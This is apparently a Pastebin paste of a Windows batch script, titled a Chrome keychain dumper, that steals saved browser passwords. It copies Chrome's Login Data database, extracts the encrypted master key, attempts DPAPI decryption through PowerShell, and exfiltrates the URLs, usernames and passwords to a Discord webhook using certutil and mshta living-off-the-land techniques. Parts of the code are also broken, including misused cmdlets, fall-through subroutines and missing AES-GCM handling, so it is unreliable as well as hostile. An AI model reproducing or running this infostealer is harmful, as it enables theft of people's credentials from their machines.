YaBoiSwayZ

Chrome keychain dumper (windows LOLbin edition)

May 26th, 2024 (edited)
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 3.79 KB | Source Code | 0 0
  1. @echo off
  2. setlocal EnableDelayedExpansion
  3.  
  4. set TEMP_DB=%USERPROFILE%\Loginvault.db
  5. set CHROME_USER_DATA_PATH=%USERPROFILE%\AppData\Local\Google\Chrome\User Data
  6. set LOCAL_STATE_PATH=%CHROME_USER_DATA_PATH%\Local State
  7. set LOGIN_DATA_PATH=%CHROME_USER_DATA_PATH%\Default\Login Data
  8. set WEBHOOK_URL=https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN
  9.  
  10. for %%i in (sqlite3 curl) do (
  11.     where %%i >nul 2>nul
  12.     if errorlevel 1 (
  13.         echo %%i is required but not installed. Attempting to download...
  14.         call :download_%%i
  15.     )
  16. )
  17.  
  18. :download_sqlite3
  19. certutil -urlcache -split -f "https://sqlite.org/2023/sqlite-tools-win32-x86-3410200.zip" "%TEMP%\sqlite-tools.zip"
  20. powershell -Command "Expand-Archive -Path '%TEMP%\sqlite-tools.zip' -DestinationPath 'C:\sqlite3'"
  21. set PATH=%PATH%;C:\sqlite3
  22. exit /b 0
  23.  
  24. :download_curl
  25. certutil -urlcache -split -f "https://curl.se/windows/dl-7.83.1_2/curl-7.83.1_2-win64-mingw.zip" "%TEMP%\curl.zip"
  26. powershell -Command "Expand-Archive -Path '%TEMP%\curl.zip' -DestinationPath 'C:\curl'"
  27. set PATH=%PATH%;C:\curl\bin
  28. exit /b 0
  29.  
  30. :get_master_key
  31. if not exist "%LOCAL_STATE_PATH%" (
  32.     echo The 'Local State' file does not exist.
  33.     exit /b 1
  34. )
  35.  
  36. for /f "tokens=*" %%i in ('type "%LOCAL_STATE_PATH%" ^| findstr /i "encrypted_key"') do (
  37.     set "encrypted_key=%%i"
  38. )
  39.  
  40. set "encrypted_key=!encrypted_key:encrypted_key"":=!"
  41. set "encrypted_key=!encrypted_key:,=!"
  42. set "encrypted_key=!encrypted_key:~0,-2!"
  43. set "encrypted_key=!encrypted_key:5!"
  44.  
  45. for /f "tokens=*" %%i in ('powershell -command "[System.Convert]::FromBase64String('%encrypted_key%') | Set-Content -Encoding Byte -Path tempkey.bin"') do echo %%i
  46. for /f "tokens=*" %%i in ('powershell -command "[System.IO.File]::ReadAllBytes('tempkey.bin') | Protect-CmsMessage -To 'localmachine' | ConvertTo-Base64String"') do (
  47.     set "master_key=%%i"
  48. )
  49.  
  50. del tempkey.bin
  51. goto :eof
  52.  
  53. :decrypt_password
  54. setlocal
  55. set "encrypted_password=%1"
  56. set "master_key=%2"
  57.  
  58. set "iv=!encrypted_password:~3,12!"
  59. set "payload=!encrypted_password:~15!"
  60.  
  61. for /f "tokens=*" %%i in ('powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String('%payload%'), $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine))"') do (
  62.     set "decrypted_password=%%i"
  63. )
  64.  
  65. echo !decrypted_password!
  66. endlocal & set "decrypted_password=%decrypted_password%"
  67. goto :eof
  68.  
  69. :retrieve_chrome_passwords
  70. setlocal
  71. set "temp_db_file=%1"
  72. set "master_key=%2"
  73. set "decrypted_info="
  74.  
  75. if not exist "%temp_db_file%" (
  76.     echo Temporary database file does not exist.
  77.     exit /b 1
  78. )
  79.  
  80. for /f "tokens=1,2,3 delims=|" %%i in ('sqlite3 "%temp_db_file%" "SELECT action_url, username_value, password_value FROM logins"') do (
  81.     call :decrypt_password "%%~3" "%master_key%"
  82.     set "decrypted_info=!decrypted_info!URL: %%~1\nUser Name: %%~2\nPassword: !decrypted_password!\n**************************************************\n"
  83. )
  84.  
  85. endlocal & set "decrypted_info=%decrypted_info%"
  86. goto :eof
  87.  
  88. :send_to_discord_webhook
  89. setlocal
  90. set "data=%1"
  91. set "webhook_url=%2"
  92.  
  93. mshta vbscript:Execute("CreateObject(""MSXML2.XMLHTTP"").Open ""POST"", """%webhook_url%"", False: CreateObject(""MSXML2.XMLHTTP"").setRequestHeader ""Content-Type"", ""application/json"": CreateObject(""MSXML2.XMLHTTP"").send ""{""content"":""%data%""}"": close")
  94. goto :eof
  95.  
  96. call :get_master_key
  97.  
  98. if errorlevel 1 (
  99.     exit /b 1
  100. )
  101.  
  102. if not exist "%LOGIN_DATA_PATH%" (
  103.     echo Chrome login data SQLite database does not exist.
  104.     exit /b 1
  105. )
  106.  
  107. copy "%LOGIN_DATA_PATH%" "%TEMP_DB%"
  108. call :retrieve_chrome_passwords "%TEMP_DB%" "%master_key%"
  109. set "data_to_upload=%decrypted_info%"
  110. del "%TEMP_DB%"
  111.  
  112. call :send_to_discord_webhook "%data_to_upload%" "%WEBHOOK_URL%"
Add Comment
Please, Sign In to add comment